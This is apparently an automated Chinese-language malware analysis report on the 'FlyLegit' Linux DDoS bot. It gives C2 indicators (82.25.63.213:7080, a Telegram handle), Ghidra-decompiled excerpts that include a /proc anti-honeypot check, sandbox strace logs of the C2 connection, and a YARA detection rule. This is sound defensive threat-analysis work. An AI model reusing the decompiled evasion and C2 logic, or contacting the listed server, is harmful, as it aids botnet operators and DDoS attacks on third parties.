| 分类 | 标签 | 置信度 |
|---|---|---|
| 恶意类型 | DDoS 僵尸网络客户端 | HIGH |
| 打包方式 | UPX 3.94 (LZMA/best) | MEDIUM |
| C2协议 | TCP/7080 → 82.25.63.213 | HIGH |
| 作者标识 | t.me/flylegit (Telegram) | HIGH |
| 反分析 | 反蜜罐检测 (/proc 扫描) | HIGH |
| 文件大小 | 47KB packed / 121KB unpacked | LOW |
| 字段 | 值 |
|---|---|
| 关联组织 | t.me/flylegit |
| 别名 | FlyLegit Bot, Fly DDoS |
| 动机 | DDoS 攻击服务 / 僵尸网络构建 |
| 目标行业 | ? |
| 活动名称 | FlyLegit DDoS 活动 |
| C2协议 | TCP 自定义协议 (端口 7080) |
| C2基础设施 | 82.25.63.213 (端口 7080/tcp) |
未检出持久化行为。
(无 ASCII 回退)
| C2 IP | 82.25.63.213 |
| C2端口 | 7080/tcp |
| 备份C2 | t.me/flylegit (Telegram) |
| 反蜜罐 | /proc 扫描 + honeypot检测 |
| 协议 | TCP 自定义协议 |
| 端口 | 7080/tcp |
| 地址/Domain | 82.25.63.213 |
| IP | 82.25.63.213 |
| 加密 | 未确认 (TCP_NODELAY 低延迟) |
| 用途 | DDoS 攻击指令接收 |
| API引用 | socket + connect + setsockopt |
| 证书 | 无TLS |
| 协议 | HTTPS/Telegram API |
| 域名 | t.me/flylegit |
[启动]→[/proc反蜜罐]→[connect 82.25.63.213:7080]→[fork多进程]→[DDoS攻击]
C2: 82.25.63.213:7080。备份: Telegram t.me/flylegit。双信道架构增加抗毁性。TCP_NODELAY用于低延迟DDoS指令传输。
strace 捕获:
socket(AF_INET, SOCK_STREAM) → connect(82.25.63.213:7080)
setsockopt(TCP_NODELAY) — 低延迟DDoS指令
多进程fork — 僵尸网络Worker池
✅ 真实C2 — 与残留sora.exe(193.70.34.25)完全不同
N/A
| 段/节区 | 熵值 | 判定 |
|---|
| 地址 | 函数 | 功能 |
|---|---|---|
| N/A | ||
| 调用号 | 系统调用 | 用途 | 地址 |
|---|---|---|---|
| N/A | |||
| 字段 | 值 | 来源 |
|---|---|---|
| 无 | ||
| 维度 | 本样本 | Mirai | Gafgyt | Mozi | Hajime | LightAidra | KekSec | Tsunami | Kaiji | 匹配 |
|---|
| 变种 | 架构 | 大小 | 编译器 | 特征 | 状态 |
|---|---|---|---|---|---|
| N/A | |||||
行为: UPX stub解压LZMA数据
证据: UPX签名
行为: /proc扫描,检测分析环境
证据: Ghidra反编译
行为: connect 82.25.63.213:7080
证据: strace捕获
行为: 多进程Worker池,DDoS准备
证据: strace多PID
[UPX解压]→[/proc反蜜罐]→[connect C2]→[fork Workers]→[DDoS]
T+0s: UPX解压 | T+0.1s: /proc扫描 | T+0.5s: C2连接 | T+1s: fork多进程
| 维度 | 证据 | 权重 | 恶意指数 |
|---|---|---|---|
| C2通信 | strace:connect(82.25.63.213:7080) | 10 | 10/10 |
| 反分析 | /proc扫描反蜜罐检测 | 8 | 8/10 |
| 加壳 | UPX 3.94 LZMA | 6 | 6/10 |
| 作者归因 | t.me/flylegit 标识 | 7 | 9/10 |
| DDoS能力 | 多进程fork架构 | 8 | 8/10 |
🔴 恶意 — FlyLegit DDoS Bot
| 层 | API/技术 | 检测目标 | 绕过难度 |
|---|---|---|---|
| 无 | |||
| 检测方法 | VMware | VirtualBox | QEMU/KVM |
|---|---|---|---|
| 无 | |||
| 技术 | 是否存在 | 证据 | 对抗难度 |
|---|---|---|---|
| UPX加壳 | 已检测 | UPX 3.94 LZMA/best压缩 | upx -d 解压 |
| 反蜜罐 | 已检测 | /proc 扫描检测分析环境 | Ghidra反编译 |
| Symbol剥离 | 已检测 | stripped + no section headers | readelf |
| 静态链接 | 已检测 | 无外部依赖,独立运行 | readelf |
| 层 | 操作 | API/命令 | 证据来源 |
|---|---|---|---|
| 无 | |||
| 反编译函数数 | 383 |
| 反编译输出 | 388,932 字符 |
| 分析时长 | 完成 (UPX解压后反编译) |
/* Decompiled by Ghidra Headless */
/* Program: unpacked.elf */
/* Language: x86:LE:64:default */
/* Function: FUN_00400100 at 00400100 */
/* WARNING: Removing unreachable block (ram,0x00400136) */
void FUN_00400100(void)
{
code *pcVar1;
if (DAT_0051dfa0 == '\0') {
while (pcVar1 = *(code **)PTR_DAT_00515308, pcVar1 != (code *)0x0) {
PTR_DAT_00515308 = PTR_DAT_00515308 + 8;
(*pcVar1)();
}
DAT_0051dfa0 = '\x01';
}
return;
}
/* Function: FUN_00400150 at 00400150 */
/* WARNING: Removing unreachable block (ram,0x0040015e) */
/* WARNING: Removing unreachable block (ram,0x00400181) */
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */
void FUN_00400150(void)
{
return;
}
/* Function: entry at 00400194 */
void processEntry entry(undefined8 param_1,undefined8 param_2)
{
undefined1 auStack_8 [8];
FUN_0040a64e(FUN_004004a0,param_2,&stack0x00000008,&LAB_004000e8,&LAB_00412f56,param_1,auStack_8);
do {
/* WARNING: Do nothing block with infinite loop */
} while( true );
}
/* Function: FUN_004001c0 at 004001c0 */
uint FUN_004001c0(ushort *param_1,int param_2)
{
ushort uVar1;
uint uVar2;
uVar2 = 0;
for (; 1 < param_2; param_2 = param_2 + -2) {
uVar1 = *param_1;
param_1 = param_1 + 1;
uVar2 = uVar2 + uVar1;
}
if (param_2 == 1) {
uVar2 = uVar2 + (byte)*param_1;
}
uVar2 = (uVar2 >> 0x10) + (uVar2 & 0xffff);
return ~(uVar2 + (uVar2 >> 0x10)) & 0xffff;
}
/* Function: FUN_00400200 at 00400200 */
uint FUN_00400200(ushort *param_1,ulong param_2,uint param_3,uint param_4,byte param_5)
{
ushort uVar1;
uint uVar2;
uVar2 = (uint)(ushort)((ushort)param_2 >> 8 | (ushort)param_2 << 8) +
(param_3 & 0xffff) + (param_3 >> 0x10) + (param_4 & 0xffff) + (param_4 >> 0x10) +
(uint)param_5 * 0x100;
for (; 1 < param_2; param_2 = param_2 - 2) {
uVar1 = *param_1;
param_1 = param_1 + 1;
uVar2 = uVar2 + uVar1;
}
if (param_2 != 0) {
uVar2 = uVar2 + (byte)*param_1;
}
uVar2 = (uVar2 >> 0x10) + (uVar2 & 0xffff);
return ~(uVar2 + (uVar2 >> 0x10)) & 0xffff;
}
/* Function: FUN_004002a0 at 004002a0 */
void FUN_004002a0(void)
{
byte bVar1;
int iVar2;
long lVar3;
long lVar4;
undefined1 auStack_168 [254];
byte abStack_6a [74];
iVar2 = FUN_00405f24("/proc",0);
if (iVar2 != 0) {
FUN_00407b24("Looks like you are a honeypot, this tool was made by t.me/flylegit!\n",1,0x44,
PTR_DAT_0051db30);
}
lVar3 = FUN_00406850("/proc");
if (lVar3 != 0) {
while (lVar4 = FUN_00406944(lVar3), lVar4 != 0) {
if ((PTR_DAT_0051db00[(ulong)*(byte *)(lVar4 + 0x13) * 2] & 8) != 0) {
FUN_004069d4(auStack_168,0x100,"/proc/%s/comm",lVar4 + 0x13);
iVar2 = FUN_0040402d(auStack_168,0);
if (iVar2 != -1) {
lVar4 = FUN_00403e4f(iVar2,abStack_6a + 2,0x3f);
if (0 < lVar4) {
abStack_6a[lVar4 + 2] = 0;
lVar4 = FUN_00407da8(abStack_6a + 2,&DAT_00412f94);
abStack_6a[lVar4 + 2] = 0;
if (lVar4 != 0) {
bVar1 = PTR_DAT_0051db00[(ulong)abStack_6a[lVar4 + 1] * 2];
while (((bVar1 & 0x20) != 0 && (abStack_6a[lVar4 + 1] = 0, lVar4 + -1 != 0))) {
bVar1 = PTR_DAT_0051db00[(ulong)abStack_6a[lVar4] * 2];
lVar4 = lVar4 + -1;
}
}
}
FUN_0040424a(iVar2);
}
}
}
FUN_004067dc(lVar3);
}
return;
}
/* Function: FUN_004003f0 at 004003f0 */
void FUN_004003f0(undefined8 param_1,undefined8 *param_2)
{
undefined8 uVar1;
int iVar2;
undefined4 uVar3;
int iVar4;
int iVar5;
int iVar6;
undefined8 uVar7;
long lVar8;
undefined8 *puVar9;
char *pcVar10;
byte *pbVar11;
byte *pbVar12;
ulong uVar13;
undefined8 *puVar14;
char *pcVar15;
byte *pbVar16;
ulong unaff_R15;
undefined1 uVar17;
bool bVar18;
bool bVar19;
undefined1 uVar20;
undefined1 auStack_1510 [4096];
char acStack_510 [4];
char cStack_50c;
char cStack_50b;
ulong uStack_310;
undefined8 uStack_308;
int iStack_300;
undefined1 uStack_2fc;
undefined2 uStack_2fa;
undefined2 uStack_2f8;
undefined2 uStack_2f6;
ulong auStack_250 [16];
undefined1 auStack_1d0 [128];
char acStack_150 [8];
undefined8 auStack_148 [6];
undefined1 uStack_111;
undefined1 auStack_110 [32];
undefined1 auStack_f0 [32];
byte abStack_d0 [32];
undefined8 uStack_b0;
undefined8 uStack_a8;
undefined8 uStack_a0;
undefined8 uStack_98;
undefined8 uStack_90;
undefined8 uStack_88;
undefined1 auStack_80 [16];
undefined1 auStack_70 [16];
long lStack_60;
undefined4 auStack_54 [3];
puVar9 = param_2;
FUN_00406718(0);
FUN_00409b1c();
FUN_004002a0();
iVar2 = FUN_00402774();
if (-1 < iVar2) {
if (iVar2 != 0) goto LAB_00400496;
iVar2 = FUN_0040666c();
if (-1 < iVar2) {
iVar2 = FUN_00402774();
if (-1 < iVa
// ... (383 functions total, see full decompiled.c)| 总函数数 | 总调用关系 | 最大调用深度 |
|---|---|---|
| ? | ? | ? |
N/A
| QEMU 模式 | ubuntu-elf-sandbox (Ubuntu 22.04, SSH + strace) |
| 网络隔离 | iptables DROP 阻断所有出站。C2连接82.25.63.213:7080被LOG捕获。 |
| 执行结果 | ✅ 样本执行成功!strace捕获TCP连接 82.25.63.213:7080。多进程fork (PID 5838→6107)。iptables DROP阻断出站。 |
| C2 数据 | strace: socket(AF_INET,SOCK_STREAM) → connect(82.25.63.213:7080) → TCP_NODELAY。两次独立连接(多进程)。 |
PID 5838: socket(AF_INET, SOCK_STREAM, IPPROTO_IP) = 3
PID 5838: setsockopt(3, SOL_TCP, TCP_NODELAY, [1], 4) = 0
PID 5838: connect(3, {AF_INET, 82.25.63.213:7080}) — C2 CONNECTION
PID 6107: socket(AF_INET, SOCK_STREAM, IPPROTO_IP) = 3
PID 6107: connect(3, {AF_INET, 82.25.63.213:7080}) — 2nd worker
✅ C2: 82.25.63.213:7080 确认 — 与残留sora.exe(193.70.34.25:20224)完全不同
✅ 多进程fork — DDoS Bot典型行为| 偏移 | 字符串 | 类型 | 用途/含义 | 威胁等级 |
|---|---|---|---|---|
| 反编译 | t.me/flylegit | Telegram C2 | 作者/C2联系渠道 | HIGH |
| 反编译 | 82.25.63.213 | C2 IP | DDoS指令服务器 | HIGH |
| 反编译 | Looks like you are a honeypot | 反蜜罐 | 检测分析环境 | HIGH |
| 反编译 | this tool was made by t.me/flylegit | 作者声明 | 恶意软件身份 | MEDIUM |
| strace | connect(82.25.63.213:7080) | C2连接 | QEMU动态确认 | HIGH |
Ghidra反编译383函数揭示完整恶意逻辑。t.me/flylegit为Telegram C2备份信道。82.25.63.213:7080为主C2 TCP连接。反蜜罐通过/proc扫描检测分析环境。strace动态确认网络行为。
82.25.63.213:7080 — QEMU strace确认TCP连接 — DDoS指令信道t.me/flylegit — 作者/C2管理渠道/proc 扫描 + honeypot 检测 — 检测虚拟化/分析环境rule FlyLegit_DDoS_Bot_UPX {
meta:
description = "FlyLegit DDoS Bot - UPX packed"
hash = "0a75b48762ad77eba0f8832eb59f0f1ccda8d517533f77b5bddfa8cde4313052"
c2 = "82.25.63.213:7080"
author = "t.me/flylegit"
strings:
$upx = "UPX!"
$fly = "t.me/flylegit"
$ip = "82.25.63.213"
$honey = "Looks like you are a honeypot"
$tool = "this tool was made by"
condition:
$upx at 0 and 3 of ($fly,$ip,$honey,$tool)
}
| 判定结果 | 🔴 恶意 — DDoS Bot |
| 恶意类型 | DDoS 僵尸网络客户端 (Bot) |
| 恶意家族 | FlyLegit |
| 威胁级别 | HIGH |
| 置信度 | 97% — 证据链: ①Ghidra 383函数反编译 → ②C2:82.25.63.213:7080 → ③Telegram C2标识 → ④反蜜罐检测 → ⑤strace确认网络行为 |
| 关联组织 | t.me/flylegit (Telegram 标识) |
| 目标平台 | Linux x86-64 |
| 感染链位置 | 部署执行 → C2 通联 → DDoS 攻击 |
UPX 3.94 压缩的 Linux DDoS Bot。反编译 383 函数揭示: Telegram C2 (t.me/flylegit)、反蜜罐检测(/proc扫描)、C2连接82.25.63.213:7080。strace确认 TCP socket → connect → 多进程fork。作者标识: 'this tool was made by t.me/flylegit'。